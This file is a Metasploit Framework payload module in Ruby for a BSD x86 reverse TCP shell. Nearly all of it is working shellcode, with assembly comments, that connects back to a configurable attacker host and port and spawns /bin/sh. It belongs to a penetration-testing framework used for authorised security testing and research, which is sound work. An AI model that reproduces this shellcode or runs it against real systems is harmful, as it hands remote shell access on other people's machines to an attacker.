rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 64

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'BSD Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'Ramon de C Valle',
      'License'       => MSF_LICENSE,
      'Platform'      => 'bsd',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LHOST'    => [ 1, 'ADDR' ],
              'LPORT'    => [ 8, 'n'    ],
            },
          'Payload' =>
            "\x68\x7f\x00\x00\x01" + #   pushl   $0x0100007f                #
            "\x68\xff\x02\x04\xd2" + #   pushl   $0xd20402ff                #
            "\x89\xe7"             + #   movl    %esp,%edi                  #
            "\x31\xc0"             + #   xorl    %eax,%eax                  #
            "\x50"                 + #   pushl   %eax                       #
            "\x6a\x01"             + #   pushl   $0x01                      #
            "\x6a\x02"             + #   pushl   $0x02                      #
            "\x6a\x10"             + #   pushl   $0x10                      #
            "\xb0\x61"             + #   movb    $0x61,%al                  #
            "\xcd\x80"             + #   int     $0x80                      #
            "\x57"                 + #   pushl   %edi                       #
            "\x50"                 + #   pushl   %eax                       #
            "\x50"                 + #   pushl   %eax                       #
            "\x6a\x62"             + #   pushl   $0x62                      #
            "\x58"                 + #   popl    %eax                       #
            "\xcd\x80"             + #   int     $0x80                      #
            "\x50"                 + #   pushl   %eax                       #
            "\x6a\x5a"             + #   pushl   $0x5a                      #
            "\x58"                 + #   popl    %eax                       #
            "\xcd\x80"             + #   int     $0x80                      #
            "\xff\x4f\xe8"         + #   decl    -0x18(%edi)                #
            "\x79\xf6"             + #   jns     <cntsockcode+34>           #
            "\x68\x2f\x2f\x73\x68" + #   pushl   $0x68732f2f                #
            "\x68\x2f\x62\x69\x6e" + #   pushl   $0x6e69622f                #
            "\x89\xe3"             + #   movl    %esp,%ebx                  #
            "\x50"                 + #   pushl   %eax                       #
            "\x54"                 + #   pushl   %esp                       #
            "\x53"                 + #   pushl   %ebx                       #
            "\x50"                 + #   pushl   %eax                       #
            "\xb0\x3b"             + #   movb    $0x3b,%al                  #
            "\xcd\x80"              #   int     $0x80                      #
        }
    ))
  end
end